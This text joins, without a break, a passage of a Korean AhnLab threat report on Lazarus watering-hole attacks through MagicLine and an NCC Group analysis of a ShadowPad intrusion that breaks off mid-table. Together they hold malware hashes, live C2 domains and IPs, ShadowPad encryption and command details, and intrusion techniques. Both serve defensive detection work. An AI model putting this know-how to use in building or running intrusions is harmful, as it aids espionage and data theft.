2023-03-13 12:41:46 | PC 1 | ***.***.***.43(KR) | 방산 C | 방산 | 확인 불가 | | 2023-03-21 16:41:26 | PC 2 | ***.***.***.43(KR) | 방산 C | 방산 | 1.0.0.14 | | 2023-03-22 16:16:29 | PC 3 | ***.***.***.44(KR) | 방산 C | 방산 | 확인 불가 | | 2023-03-28 11:21:11 | PC 4 | ***.***.***.44(KR) | 방산 C | 방산 | 1.0.0.14 | | 2023-04-07 16:11:55 | PC 5 | ***.***.***.43(KR) | 방산 C | 방산 | 1.0.0.20 | **[표 4] 방산 기업의 매직라인 취약점 탐지 로그** 해킹으로 탈취한 코인을 미사일 개발 자금으로 사용하는 것뿐만 아니라 미사일 개발에 필요한 동향 수집 및 자국의 방산 기술 발전을 위해서 타국의 방산 기술 탈취를 위해서 방산 기업을 지속적으로 해킹할 수 있습니다. #### 3) 언론 분야 Lazarus 조직은 이니세이프 취약점 때와 마찬가지로 매직라인 취약점도 국내 일부 언론사 홈페이지를 워터링 홀에 악용했습니다. 이번 이슈를 추적하고 분석하기 위해서 언론사와의 협업이 매우 중요했지만 언론이라는 특수성 때문에 자칫 불필요한 오해를 낳을 수 있기 때문에 신중하게 접근해야 하는 분야이기도 합니다. 아래 [표 5]에서 일부 언론사는 협업을 위해서 연락을 취했으나 해당 언론사로부터 응답은 없었습니다. | 탐지 시간 | 탐지 PC | 탐지 IP | 해킹 대상 | 탐지 분야 | 매직라인 버전 | |------------|---------|---------|-----------|-----------|----------------| | 2023-04-06 11:39:05 | PC 1 | ***.***.***.219(KR) | 언론 A | 언론 | 1.0.0.20 | | 2023-05-02 09:23:17 | PC 1 | ***.***.***.219(KR) | 언론 A | 언론 | 1.0.0.20 | | 2023-04-07 17:06:00 | PC 1 | ***.***.***.40(KR) | 언론 B | 언론 | 1.0.0.20 | | 2023-05-28 11:41:17 | PC 2 | ***.***.***.51(KR) | 언론 B | 언론 | 1.0.0.20 | | 2023-05-09 11:34:20 | PC 1 | ***.***.***.49(KR) | 언론 C | 언론 | 1.0.0.14 | | 2023-05-23 10:27:30 | PC 1 | ***.***.***.49(KR) | 언론 C | 언론 | 1.0.0.14 | | 2023-05-30 16:46:39 | PC 1 | ***.***.***.81(KR) | 언론 D | 언론 | 1.0.0.20 | | 2023-05-30 18:46:10 | PC 2 | ***.***.***.48(KR) | 언론 D | 언론 | 1.0.0.20 | | 2023-05-31 11:39:00 | PC 3 | ***.***.***.32(KR) | 언론 D | 언론 | 1.0.0.20 | | 2023-07-11 16:27:49 | PC 2 | ***.***.***.48(KR) | 언론 D | 언론 | 1.0.0.20 | | 2023-07-21 08:57:25 | PC 4 | ***.***.***.81(KR) | 언론 D | 언론 | 확인 불가 | | 2023-06-23 11:16:19 | PC 1 | ***.***.***.2(KR) | 언론 E | 언론 | 1.0.0.9 | | 2023-07-05 11:26:47 | PC 1 | ***.***.***.2(KR) | 언론 E | 언론 | 1.0.0.9 | | 2023-07-05 15:06:07 | PC 1 | ***.***.***.71(KR) | 언론 F | 언론 | 1.0.0.20 | **[표 5] 언론사의 매직라인 취약점 탐지 로그** 위 [표 5]의 각 언론사 PC에서 매직라인 취약점이 탐지된 것은 직접 해킹 대상은 아니며, 자사 홈페이지에 접속했다가 우연히 매직라인 취약점 동작 조건이 일치하여 탐지된 것으로 의심하고 있습니다. 워터링 홀의 특성상 웹 사이트를 통해 진행되며, 불특정 다수가 접속하므로 해킹 대상의 범위를 명확히 제한하기 위해서 조건을 설정해도 조건이 일치하여 감염될 가능성은 충분히 있습니다. 안랩은 언론사 B의 협조로 매직라인 취약점이 탐지된 PC에서 로그를 수집하여 분석했지만 타임라인에서 매직라인 취약점 탐지 시점의 흔적은 없었으며, 아래 [그림 2]는 비록 매직라인 취약점 탐지 시점 이후 언론사 홈페이지에 접속한 흔적이지만 매직라인 취약점 탐지 시점에 해당 PC가 위 언론사 B에 접속했을 것으로 의심하는 근거입니다. **[그림 2] 언론사 B의 PC 타임라인** 위 [표 5]에서 각 언론사의 PC가 자사 또는 타사 홈페이지에 접속했는지 여부는 확인을 못했지만 위 [그림 2] 언론사 B의 PC와 동일한 패턴이라면 각 언론사의 PC에서 매직라인 취약점이 탐지됐을 시점에 각 언론사 홈페이지는 Lazarus 조직의 매직라인 취약점을 악용한 워터링 홀에 악용됐을 가능성이 매우 높다고 판단하고 있습니다. 언론 분야는 매직라인 취약점을 악용한 워터링 홀의 목적이 불명확합니다. 아래 기사는 과거 Lazarus 조직의 중앙일보 해킹 사건에 대한 기사로 신문 발행에 차질을 발생시켜 피해를 주려는 목적이 명확했습니다. 하지만 Lazarus 조직의 이니세이프, 매직라인 취약점 악용은 과거 중앙일보 해킹의 목적과는 다르며, 위에서 설명한 것처럼 언론사 홈페이지를 워터링 홀에 악용한 것으로 판단했습니다. 각 언론사의 기조는 기사를 통해서 파악이 가능하므로 이를 위해서 언론사 PC를 해킹했을 가능성은 낮으며, 의심해 볼 수 있는 한 가지 가능성은 언론사의 기사 송고 플랫폼에 대한 정보 수집입니다. 만약 언론사 PC 해킹으로 언론사의 기사 송고 플랫폼까지 해킹할 수 있다면 워터링 홀 또는 다른 해킹의 수단으로 악용할 수 있습니다. #### 4) 기타: 기관, 금융 분야 아래 [표 6]에서 기관 A는 시 산하 복지 재단, 기관 B는 공공 기관, 금융 A는 디지털 금융 기업으로 기관 B의 PC 1에서 4회 탐지, 금융 A의 PC 1에서 5회 탐지라는 동일 PC에서 반복 탐지 패턴이 존재합니다. 동일 PC에서 반복 탐지, 해킹 대상의 다수 PC에서 탐지, 3회 이상 탐지 등 이 세 가지 패턴을 다른 분야에 적용하면 동일한 패턴을 가진 해킹 대상은 IT A, C, D, F, G, 방산 A, B, C, 언론 D 등으로 워터링 홀의 특성상 보수적으로 2회까지는 탐지될 수 있다고 해도 그 이상은 Lazarus 조직의 집중 해킹 대상으로 판단했습니다. | 탐지 시간 | 탐지 PC | 탐지 IP | 해킹 대상 | 탐지 분야 | 매직라인 버전 | |------------|---------|---------|-----------|-----------|----------------| | 2023-01-30 11:50:15 | PC 1 | ***.***.***.158(KR) | 기관 A | 기관 | 1.0.0.14 | | 2023-01-31 11:32:26 | PC 2 | ***.***.***.158(KR) | 기관 A | 기관 | 1.0.0.14 | | 2023-06-05 10:58:28 | PC 1 | ***.***.***.58(KR) | 기관 B | 기관 | 확인 불가 | | 2023-06-07 10:39:15 | PC 1 | ***.***.***.58(KR) | 기관 B | 기관 | 확인 불가 | | 2023-06-08 15:15:04 | PC 1 | ***.***.***.58(KR) | 기관 B | 기관 | 확인 불가 | | 2023-06-14 11:27:01 | PC 1 | ***.***.***.58(KR) | 기관 B | 기관 | 확인 불가 | | 2023-07-10 15:11:23 | PC 1 | ***.***.***.193(KR) | 금융 A | 금융 | 1.0.0.14 | | 2023-07-13 09:50:02 | PC 1 | ***.***.***.193(KR) | 금융 A | 금융 | 1.0.0.14 | | 2023-07-18 09:22:57 | PC 1 | ***.***.***.193(KR) | 금융 A | 금융 | 1.0.0.14 | | 2023-07-19 15:24:03 | PC 1 | ***.***.***.193(KR) | 금융 A | 금융 | 1.0.0.14 | | 2023-07-20 11:20:19 | PC 1 | ***.***.***.193(KR) | 금융 A | 금융 | 1.0.0.14 | | 2023-07-31 09:38:30 | PC 1 | ***.***.***.193(KR) | 금융 A | 금융 | 확인 불가 | **[표 6] 기타 (기관, 금융 분야)의 매직라인 취약점 탐지 로그** Lazarus 조직의 집중 해킹 대상으로 판단한 근거를 설명하기 위해서 위 [표 6]의 금융 A 기업의 PC 1을 예시로 들었으며, 해당 기업의 매직라인 취약점 최초 탐지 시점인 2023-07-10일부터 2023-08-07일까지 다수의 악성 행위 중 주요 악성 행위만 간추려서 아래 [표 7]로 만들었습니다. 해킹 초기에 정찰 과정을 거칩니다. 그 이유는 정찰 과정에서 정보 수집과 수집한 정보를 분석하여 해킹 대상이 중요한 PC인지를 판단할 수 있으므로 아래 [표 7]에서 1 ~ 3번까지를 정찰 과정으로 판단한다면 4 ~ 12번까지 다수의 악성코드 생성과 실행의 반복, 내부 IP 통신 그리고 C2 통신은 Lazarus 조직이 금융 A 기업의 PC 1을 중요한 PC로 판단하기 때문에 발생하는 과정이라고 판단했습니다. 만약 금융 A 기업의 PC 1이 중요한 PC가 아니었다면 정찰 과정을 거친 후 해킹은 종료되므로 4번부터 행위는 발생하지 않았을 것으로 판단했습니다. | No. | 시간 | 프로세스 | 행위 | 데이터 | |-----|------|----------|------|--------| | 1 | 2023-07-10 15:11:23 | %ProgramFiles%\dreamsecurity\magicline4nx.exe | 악성코드 생성 및 실행 | %ALLUSERSPROFILE%\citrix\pvsagent\mi.dll (악성 DLL 생성) | | 2 | 2023-07-13 09:50:02 | %SystemRoot%\system32\spoolsv.exe | 인젝션 수행 | | | 3 | 2023-07-18 09:22:57 | %ALLUSERSPROFILE%\citrix\sgrmlpac.exe | C2 통신 | 119.205.211.85:443 | | 4 | 2023-07-19 15:24:03 | %SystemRoot%\system32\spoolsv.exe | 인젝션 수행 | | | 5 | 2023-07-20 16:36:53 | %SystemRoot%\system32\spoolsv.exe | 악성코드 생성 | %ALLUSERSPROFILE%\microsoft\msimg32.dll (악성 DLL 생성) | | 6 | 2023-07-19 16:41:40 | %SystemRoot%\system32\cmd.exe | 악성코드 실행 | %ALLUSERSPROFILE%\hp\sgrmlpac.exe (정상, DLL-Side Loading) | | 7 | 2023-07-20 11:20:19 | %SystemRoot%\system32\cmd.exe | 악성코드 생성 | %SystemRoot%\temp\rgzsr.dll | | 8 | 2023-07-20 11:20:19 | %ALLUSERSPROFILE%\hp\sgrmlpac.exe | C2 통신 | hxxps://hiwoosung.com/ (221.139.104.54) | | 9 | 2023-07-21 15:01:04 | %SystemRoot%\system32\spoolsv.exe | 내부 IP 통신 | ***.***.***.***:445 | | 10 | 2023-07-31 09:38:30 | %SystemRoot%\system32\spoolsv.exe | C2 통신 | hxxps://www.hds-secu.com/ (203.251.81.11) | | 11 | 2023-08-02 14:55:12 | %SystemRoot%\system32\spoolsv.exe | 악성코드 생성 및 실행 | %ALLUSERSPROFILE%\microsoft\windows\servicesetting\tieringengineservice.exe (정상, DLL-Side Loading) | | 12 | 2023-08-07 09:40:19 | %ALLUSERSPROFILE%\microsoft\windows\servicesetting\tieringengineservice.exe | C2 통신 | 203.251.81.11:443 | **[표 7] 금융 A 기업의 PC 1에서 확인된 주요 악성 행위** Lazarus 조직의 과거 행적을 고려하면 금융 A 기업의 PC 1을 집중 해킹 대상으로 삼은 이유를 이해할 수 있습니다. Lazarus 조직은 무기 개발에 필요한 자금 조달을 위해서 전 세계 암호화폐 기업, 은행 등 돈과 관련된 기업을 해킹하고 있으며, 최근에 에스토니아의 암호화폐 기업에서 477억원 탈취 사례가 있으므로 금융 A사 해킹도 이와 동일한 목적이라고 판단했습니다. ## (2) 버전별 탐지 현황 105건의 탐지 중 매직라인 버전이 확인된 탐지 건수 중심으로 살펴보면 1.0.0.20 버전: 38건으로 가장 많고, 그 다음은 1.0.0.14 버전: 27건, 1.0.0.9 버전: 7건 그리고 1.0.0.15 버전: 1건 순입니다. 아래 [통계 3]에서 확인 불가가 31건인 이유는 매직라인 취약점뿐만 아니라 추가 악성 행위를 탐지하는 조건을 제품에 반영했기 때문이며, 일부 PC에서 매직라인 취약점 탐지 로그는 없지만 추가 악성 행위만 탐지한 사례가 있었습니다. | 매직라인 버전 | 탐지 건수 | |----------------|-----------| | 1.0.0.9 | 7 | | 1.0.0.14 | 27 | | 1.0.0.20 | 38 | | 확인 불가 | 31 | 위 [통계 3]에서 각 매직라인 버전의 제작 시간 정보를 확인한 결과 아래 [표 8]과 같습니다. | 버전 | 파일 제작 시간 | |-----------|------------------------------------| | 1.0.0.9 | Mar 23 2018 17:53:51 GMT+09 | | 1.0.0.14 | Feb 12 2019 17:15:41 GMT+09 | | 1.0.0.15 | Feb 19 2020 11:05:12 GMT+09 | | 1.0.0.20 | Mar 29 2021 19:48:46 GMT+09 | 위 [표 8]를 보면 각 버전의 파일 제작 시간을 기준으로 최소 2년에서 최대 5년 전에 제작된 것으로 매직라인이 설치되어 있습니다. 지금도 취약한 버전이 설치되어 있는 것은 첫째, 매직라인의 설치 방식이 수동이기 때문에 사용자가 인지하여 최신 버전의 매직라인을 설치하지 않으면 계속 취약한 버전의 매직라인을 사용할 수밖에 없으며, 둘째, 취약한 버전이 설치되어 있어도 홈페이지 사용에 문제가 없는 것이 이유입니다. 이런 이유 때문에 취약한 버전의 매직라인이 설치된 PC는 이번 Lazarus 조직의 해킹 사례처럼 악성코드 감염 가능성이 존재합니다. 사실 일반 사용자에게 매직라인은 홈페이지 사용을 위해 필수로 설치해야 하는 프로그램 중 하나일 뿐 해당 프로그램이 정확히 어떤 프로그램인지 인지하고 있을 가능성은 낮을 것이기 때문에 이점을 고려하면 매직라인의 설치 방식을 변경하는 것에 고민이 필요합니다. 예를 들면 수동 설치 후 업데이트가 발생하면 자동 업데이트 되도록 하거나 만약 이 방식이 어렵다면 홈페이지 접속할 때 설치된 매직라인 버전을 체크한 후 구 버전이면 사용자에게 창을 띄워서 최신 버전을 설치하도록 유도하는 방법을 사용할 수 있을 것입니다. 이는 비단 매직라인의 문제만이 아니며, 유사한 방식으로 설치되는 모든 프로그램이 가지고 있는 공통적인 문제입니다. 사용자의 편의성은 곧 보안과 연결되므로 매직라인의 사례를 타산지석으로 삼아 사용자의 편의성과 보안을 동시에 높일 수 있는 프로그램 설치 방식에 대해서 고민이 필요합니다. 만약 지금의 설치 방식을 고수한다면 Lazarus 조직이 해킹에 악용할 것이며, 피해도 반복될 것입니다. 어쩌면 지금보다 더 큰 피해와 국가 안보를 위협하는 상황이 발생할 수 있습니다. ## 3. 안랩의 대응현황 지금의 해킹은 고도화, 조직화되어 있어서 안랩만으로 대응하는 것은 한계가 있습니다. 해킹 주체가 국가의 지원을 받는 해킹 조직이라면 더욱 그렇습니다. 안랩은 Lazarus 조직의 이니세이프 취약점 악용에 이어 매직라인 취약점 악용도 해킹 대상이 고객이라면 점검에 필요한 정보를 공유하고 있으며, Lazarus 조직처럼 국가가 배후인 것으로 알려진 해킹 조직에 대응하기 위해서 국가기관과 정보 공유 및 협업하고 있습니다. 예를 들어 안랩은 매직라인 취약점과 관련된 악성코드 샘플이 수집되거나 C2가 발견되면 국가기관에 공유하여 피해 확산 방지 및 대응에 기여하고 있습니다. ### (1) 악성코드 진단현황 본 보고서에서 언급한 악성코드는 아래와 같이 진단 중입니다. | File Name | Hash(MD5) | 진단명 | 진단 버전 | |-----------|-----------|--------|-----------| | java8.exe | 08883d753154589a76347fda9e2799c0 | Infostealer/Win.Outlook | 2023.04.09.03 | | cryptrsa.cpl | 0ade34f05a150af07e3406b719e18fb8 | Trojan/Win.LazarLoader | 2023.05.16.00 | | DevSync.cpl | 1883e0ab8e2c8ee3e2dccfd7bf95fcfe | Trojan/Win.Lazardoor | 2023.02.17.03 | | scrapkisvc.dll | 19063f1f2136fd32e37371cdb2d871cd | Trojan/Win.LazarLoader | 2023.05.17.00 | | pchealthsvc.dll | 1dd5e8ff30df1ed5fc1b303c39a92e65 | Trojan/Win.LazarLoader | 2023.04.29.00 | | softoknhelp.dll | 1e15d4af016a767456738a311a55415a | Trojan/Win.LazarLoader | 2023.05.17.00 | | Adobe.dat | 1f58b5a891188e8455baf734829b2b08 | Trojan/Win.Lazardoor | 2023.04.14.03 | | vuproc.sys | 1fdd194c628cc841289be38d2188c502 | Trojan/Win.Akdoor | 2023.01.21.00 | | SharmIpcsvc.dll | 25d93e899a13bd24d1e3701941b036c0 | Trojan/Win.LazarLoader | 2023.04.18.01 | | DUI70.dll | 2b0bb56e4115a4c435b37dcad7ab7310 | Trojan/Win.LazarLoader | 2023.05.31.03 | | rasgreeng.dll | 2d32c64bf80090c8f9b29e1f49426161 | Trojan/Win.Lazardoor | 2023.04.18.03 | | sgrmlpac.exe | 4c3628722d46bfaa80af2d741c6d7657 | 정상 | | | pagefile.sys | 4d7e1de48b2392344f6c1eddf898801a | Trojan/Win.Lazardoor | 2023.04.01.00 | | DIFxdgsvc.dll | 53fe57f78f41be54a7ca9cd0909882ff | Trojan/Win.LazarLoader | 2023.04.18.01 | | ARM.dat | 5c196692a1808f3f4c3be1ac9363d55f | Trojan/Win.Lazardoor | 2023.03.15.04 | | VPWalletSvc.dll | 612a469370873160d0844d01f614f176 | Trojan/Win.LazarLoader | 2023.05.17.00 | | dnproc.sys | 678224aff0209d1f84d78a8d4f75206f | Trojan/Win.LazarLoader | 2023.04.01.00 | | TieringEngineService.exe | 6d5326ffb6c208ff0766eb2666755a6c | 정상 | | | DevSync.cpl | 704629d0660259a7818a7af580c416db | Trojan/Win.Lazardoor | 2023.02.17.03 | | SgrmLpac.exe | 7e4f5ee531a80e80b2ab7cc2f5621eec | 정상 | | | kqproc.sys | 858cf11d43fc34a8dcfc503cf776a5e8 | Trojan/Win.Lazardoor | 2023.02.08.01 | | dfrgui.exe | 87db68334feab8038a7e147296bc56c6 | 정상 | | | FastCopy.exe | 8a7eb3d1faddb2b9ff04e882044d1b97 | Trojan/Win.Agent | 2023.06.09.02 | | NHK.dll | 9a2df4f0757ece108004bb36f5c9e620 | Trojan/Win.Lazardoor | 2023.04.14.03 | | DRM.dll | 9d8b31971292bc0edc2057b0b5fc19e6 | Trojan/Win.Lazardoor | 2023.02.17.03 | | CameraSettingsUIHost.exe | 9e98636523a653c7a648f37be229cf69 | 정상 | | | cryptini.cpl | ac2de04a2c272acacbac232cf657f0a6 | Trojan/Win.LazarLoader | 2023.05.16.00 | | smartaudios.dll | b04db343a683a8f3e3baad35679e3cb9 | Trojan/Win.LazarAgent | 2023.06.01.03 | | usosh.cpl | b085f5131ec7d83248f8be00f9c6143c | Trojan/Win.Lazardoor | 2023.05.16.00 | | dnproc.sys | b0e8073bbb56d16535a05f8afece8860 | Trojan/Win.Lazardoor | 2023.02.08.01 | | sxshared.dll | b383ec8e053995b210d275c1e5cdaf91 | Trojan/Win.Injector | 2023.07.22.00 | | ESENT.dll | b855099cf41aa24da1812a3ca3c2d4d1 | Trojan/Win.Lazardoor | 2023.08.10.02 | | saslGSSAPIsvc.dll | ba098924fbfbe949582ee390e4158b49 | Trojan/Win.LazarLoader | 2023.05.17.00 | | Rendering.dll | bb7cba29c83409d1a264b96670f06663 | Trojan/Win.LazarLoader | 2023.03.29.03 | | ARM.cpl | bbef84ae91c1e0a5f5032fced2faf4ba | Trojan/Win.LazarLoader | 2023.04.01.00 | | Acrobat.tmp | bd444b440c96524dce8c941fc0d54713 | Infostealer/Win.Browser | 2023.03.15.04 | | Replicate.dll | c0f12fb677fbaaf2be09ef30a96885c6 | Trojan/Win.LazarLoader | 2023.04.01.00 | | winhttp.dll | c6498bd362b4d56b73bc8eee2342f3c6 | Trojan/Win.LazarLoader | 2023.07.21.00 | | DevSync.cpl | cfbb7cb382a71ad377a64cc9d16238e6 | Trojan/Win.Lazardoor | 2023.02.20.03 | | pick.dat | d2eb518419bc9baceb70c24216c7fa22 | Trojan/Win.LazarLoader | 2023.02.08.03 | | Adobe.dll | da5fc6ae361affa50ed473f845f26eb6 | Trojan/Win.Lazardoor | 2023.04.14.03 | | SFBAPPSDK.DLL | f18fe45ba93e3116ba989d5f591dfdda | Trojan/Win.LazarLoader | 2023.04.01.00 | | nsldapsvc.dll | f30fee6aefc4fed05c68f9077154a10a | Trojan/Win.LazarLoader | 2023.05.17.00 | **[표 9] Lazarus 조직의 악성코드 진단 현황** ### (2) C2 정보 안랩이 인지한 C2는 대부분 호스팅 IP 또는 도메인이므로 차단할 경우 정상 접속도 차단되는 부작용이 발생할 수 있기 때문에 차단은 권장하지 않습니다. 다만 점검 목적으로 사용할 수 있지만 이 경우에도 악성코드 진단 정보와 함께 사용하는 것을 권장합니다. - C2 도메인 - yoohannet.kr (111.92.189.42) - www.starsportsmall.co.kr (210.116.114.30) - www.siriuskorea.co.kr (119.205.211.243) - www.samdb.or.kr (210.116.111.163) - www.oci.co.kr (52.78.224.225:443) - www.muijae.com (218.232.94.40) - www.medric.or.kr (14.52.99.233) - www.kyungrok.com (121.78.190.61) - www.imyonggosi.com (14.0.82.6) - www.hds-secu.com (203.251.81.11) - www.hanlasangjo.com (121.189.14.244) - www.foodcutter.co.kr (115.68.53.77) - www.droof.kr (111.92.188.166) - www.circulation.or.kr (117.52.153.164) - www.bi-nex.com (211.239.157.44) - www.bcdm.or.kr (125.141.204.43) - www.asps.co.kr (110.45.156.101) - www.artbeads.co.kr (211.111.33.60) - warevalley.com (20.41.99.17) - www.scoutpeople.co.kr (121.254.168.87) - swt-keystonevalve.com (111.92.189.45) - safemotors.co.kr (112.175.29.157) - safemotors.co.kr (112.175.29.151) - ps-s.kr (222.122.213.155) - pms.nninc.co.kr (114.207.112.19) - online-plchat.com (13.125.103.101) - oneline.kr (182.162.70.209) - mot.korea.ac.kr (210.116.92.175) - mainbiz.or.kr (14.63.217.197) - koreaherb.or.kr (119.205.211.85) - hiwoosung.com (221.139.104.54) - himacsdesign.com (112.175.29.152) - www.kiwiman.co.kr (219.253.141.142)
# A Glimpse into the Shadowy Realm of a Chinese APT: Detailed Analysis of a ShadowPad Intrusion **Authors:** William Backhouse (@Will0x04), Michael Mullen (@DropTheBase64), Nikolaos Pantazopoulos **Date:** September 30, 2022 ## Summary This post explores some of the TTPs employed by a threat actor who was observed deploying ShadowPad during an incident response engagement. Below provides a summary of findings presented in this blog post: - Initial access via CVE-2022-29464. - Successive backdoors installed – PoisonIvy, a previously undocumented backdoor, and finally ShadowPad. - Establishing persistence via Windows Services to execute legitimate binaries which sideload backdoors, including ShadowPad. - Use of information gathering tools such as ADFind and PowerView. - Lateral movement leveraging RDP and ShadowPad. - Use of 7zip for data collection. - ShadowPad used for Command and Control. - Exfiltration of data. ## ShadowPad This blog builds on the work of other security research done by SecureWorks and PwC with firsthand experience of TTPs used in a recent incident where ShadowPad was deployed. ShadowPad is a modular remote access trojan (RAT) thought to be used almost exclusively by China-based threat actors. ### Attribution Based on the findings of our Incident Response investigation, NCC Group assesses with high confidence that the threat actor detailed in this article was a China-based Advanced Persistent Threat (APT). This is based on the following factors: 1. Public reporting has previously indicated the distribution of ShadowPad is tightly controlled and is typically exclusive to China-based threat actors for use during espionage campaigns. 2. Specific TTPs observed during the attack were found to match those previously observed by China-based threat actors, both within NCC Group incident response engagements and the wider security community. 3. The threat actor was typically active during the hours of 01:00 – 09:00 (UTC), which matches the working hours of China. ## TTPs ### Initial Access A recent vulnerability in WSO2, CVE-2022-29464, was the root cause of the incident. The actor, among other attackers, was able to exploit the vulnerability soon after it was published to create web shells on a server. The actor leveraged a web shell to load a backdoor, in this case, PoisonIvy. This was deployed via a malicious DLL and leveraged DLL Search Order Hijacking, a tactic continuously used throughout the attack. ### Execution Certutil.exe was used via commands issued on web shells to install the PoisonIvy backdoor on patient zero. The threat actor leveraged command prompt and PowerShell throughout the incident. Additionally, several folders named _MEI<random digits> were observed within the Windows\Temp folder. The digits in the folder name change each time a binary is compiled. These folders are created on a host when a Python executable is compiled. Within these folders were the .pyd library files and DLL files. The created time for these folders matched the last modified timestamp of the compiled binary within the shimcache. ### Persistence Run Keys and Windows services were used throughout to ensure the backdoors deployed obtained persistence. ### Defense Evasion The threat actor undertook significant anti-forensic actions on ShadowPad related files to evade detection. This included timestomping the malicious DLL and applying the NTFS attributes of hidden and system to the files. Legitimate but renamed Windows binaries were used to load the configuration file. The threat actor also leveraged a legitimate Windows DLL, `secur32.dll`, as the name of the configuration file for the ShadowPad backdoor. All indicators of compromise, aside from backdoor modules and loaders, were removed from the hosts by the threat actor. ### Credential Access The threat actor was observed collecting all web browser credentials from all hosts across the environment. It is unclear at this stage how this was achieved with the evidence available. ### Discovery A vast array of tooling was used to scan and enumerate the network as the actor negotiated their way through it, including but not limited to: - AdFind - NbtScan - PowerView - PowerShell scripts to enumerate hosts on port 445 - Tree.exe ### Lateral Movement Lateral movement was largely carried out using Windows services, particularly leveraging SMB pipes. The only interactive sessions observed were onward RDP sessions to customer connected sites. ### Collection In addition to the automated collection of harvested credentials, the ShadowPad keylogger module was used in the attack, storing the keystrokes in encrypted database files for exfiltration. The output of which was likely included in archive files created by the attacker, along with the output of network scanning and reconnaissance. ### Command and Control In total, three separate command and control infrastructures were identified, all of which utilized DLL search order hijacking / DLL side loading. The initial payload was PoisonIvy, observed only on patient zero. The threat actor went on to deploy a previously undocumented backdoor once they gained an initial foothold in the network, establishing persistence via a service called K7AVWScn, masquerading as an older anti-virus product. Finally, once a firm foothold was established within the network, the threat actor deployed ShadowPad. Notably, the ShadowPad module for the proxy feature was also observed during the attack to proxy C2 communications via a less conspicuous server. ### Exfiltration Due to the exfiltration capabilities of ShadowPad, it is highly likely to have been the method of exfiltration to steal data from the customer network. This is further cemented by a small, yet noticeable spike in network traffic to threat actor controlled infrastructure. ## Recommendations - Searches for the documented IOCs should be conducted. - If IOCs are identified, a full incident response investigation should be conducted. ## ShadowPad Technical Analysis ### Initialisation Phase Upon execution, the ShadowPad core module enters an initialisation phase at which it decrypts its configuration and determines which mode it runs. In summary, we identified the following modes: | Mode | Description | |------|-------------| | 3 | Injects itself to a specified process and adds persistence to the compromised host. If the compromised user belongs to a group with a SID starting with S-1-5-80, the specified target process uses the token of ‘lsass’. | | 4 | Injects itself to a specified process and executes the core code in a new thread. If the compromised user belongs to a group with a SID starting with S-1-5-80, the specified target process uses the token of ‘lsass’. | | 5 | Injects itself to a specified process. If the compromised user belongs to a group with a SID starting with S-1-5-80, the specified target process uses the token of ‘lsass’. | | 16 | Injects itself to a specified process and creates/starts a new service, which executes the core code. If the compromised user belongs to a group with a SID starting with S-1-5-80, the specified target process uses the token of ‘lsass’. | ### Configuration Storage and Structure ShadowPad comes with an embedded encrypted configuration, which it locates by scanning its own shellcode (core module). After locating it successfully, it starts searching for a specified byte that represents the type of data (e.g., 0x02 represents an embedded module). In total, we have identified the following types: | ID | Description | |------|-------------| | 0x02 | Embedded ShadowPad module. | | 0x80 | ShadowPad configuration. It should start with the DWORD value 0x9C9D22EC. | | 0x90 | XOR key used during the generation of unique names (e.g., registry key name). | | 0x91 | DLL loader file data. | | 0x92 | DLL loader file to load. File might have random appended data. | | 0xA0 | Loader’s filepath. | Once one of the above bytes is located, ShadowPad reads the data and appends the last DWORD value to the hardcoded byte array ‘1A9115B2D21384C6DA3C21FCCA5201A4’. Then it hashes (MD5) the constructed byte array and derives an AES-CBC 128bits key and decrypts the data. In addition, ShadowPad stores, in an encrypted format, the following data in the registry with the registry key name being unique for each compromised host: 1. ShadowPad configuration (0x80) data. 2. Proxy configuration, including proxy information that ShadowPad requires. 3. Downloaded modules. ### ShadowPad Network Servers ShadowPad starts two TCP/UDP servers at 0.0.0.0. The port(s) is/are specified in the ShadowPad configuration. These servers work as a proxy between other compromised hosts in the network. Additionally, ShadowPad starts a raw socket server, which receives data and performs various tasks depending on the received data. ### Network Communication ShadowPad supports a variety of network protocols. For all of them, ShadowPad uses the same procedure to store and encrypt network data. The procedure’s steps are: 1. Compress the network data using the QuickLZ library module. 2. Generate a random DWORD value, which is appended to the byte array ‘1A9115B2D21384C6DA3C21FCCA5201A4’. The constructed byte array is hashed (MD5) and an AES-CBC 128bits key is derived. 3. The data is then encrypted using the generated AES key. ### Network Commands and Modules During our analysis, we managed to extract a variety of ShadowPad modules with most of them having their own set of network commands. The table below summarizes the identified commands of the modules: | Module | Command ID | Description | |--------------------------------------|--------------------------------|-------------| | Main module | 0xC49D0031 | First command sent to the C2 if the commands fetcher function does not run in a dedicated thread. | | Main module | 0xC49D0032 | First command sent to the C2 if the commands fetcher function does run in a dedicated thread. | | Main module | 0xC49D0033 | Fingerprints the compromised host and sends the information to the C2. | | Main module | 0xC49D0034 | Sends an empty reply to the C2. | | Main module | 0xC49D0037 | Echoes the server’s reply. | | Main module | 0xC49D0039 | Sends number of times the ShadowPad files were detected to be deleted. | | Main module | 0xC49D0016 | Deletes ShadowPad registry keys. | | Main module | 0xC49D0010 | Retrieves ShadowPad execution information. | | Main module | 0xC49D0020 | Retrieves ShadowPad current configuration (from registry). | | Main module | 0xC49D0050 | Retrieves ShadowPad proxy configuration from registry. | | Files manager module | 0x67520006 | File operations (copy, delete, move, rename). | | Files manager module | 0x67520007 | Executes a file. | | Files manager module | 0x67520008 | Uploads/Downloads file to/from C2. | | Files manager module | 0x6752000A | Searches for a specified file. | | Files manager module | 0x6752000C | Downloads a file from a specified URL. | | TCP/UDP module | 0x54BD0000 | Loads TCP module and proxy data via it. | | Desktop module | 0x62D50000 | Enumerates monitors. | | Keylogger module | 0x63CA0000 | Reads the keylogger file and sends its content to the C2. | ## Indicators of Compromise | IOC | Type | Description | |---------------------------------------------------------------------|-----------|-------------| | C:\wso2is-4.6.0\BVRPDiag.exe | File | Legitimate executable to sideload PoisonIvy. | | C:\Windows\System32\spool\drivers\color\K7AVWScn.dll | File | Previously undocumented C2 framework. | | C:\Windows\System32\spool\drivers\color\secur32.dll | File | ShadowPad DLL. | | C:\Windows\Temp\WinLog\secur32.dll | File | ShadowPad DLL. | | C:\Users\Public\AdFind.exe | File | Reconnaissance tooling. | | C:\Users\Public\WebBrowserPassView.exe | File | NirSoft tool for recovering credentials from web browsers. | | SOFTWARE: Classes\CLSID\*\42BF3891 | Registry | Encrypted ShadowPad configuration. | | D1D0E39004FA8138E2F2C4157FA3B44B | MD5 | PoisonIvy DLL. | | 7504DEA93DB3B8417F16145E8272BA08 | MD5 | ShadowPad DLL. | ## Mitre Att&ck | Tactic | Technique | ID | Description | |---------------|-------------------------|--------------|-------------| | Initial Access| Exploit Public-Facing Applications | T1190 | Initial access was gained via the threat actor exploiting CVE-2022-29464 to create a web shell. | | Execution | Command and Scripting 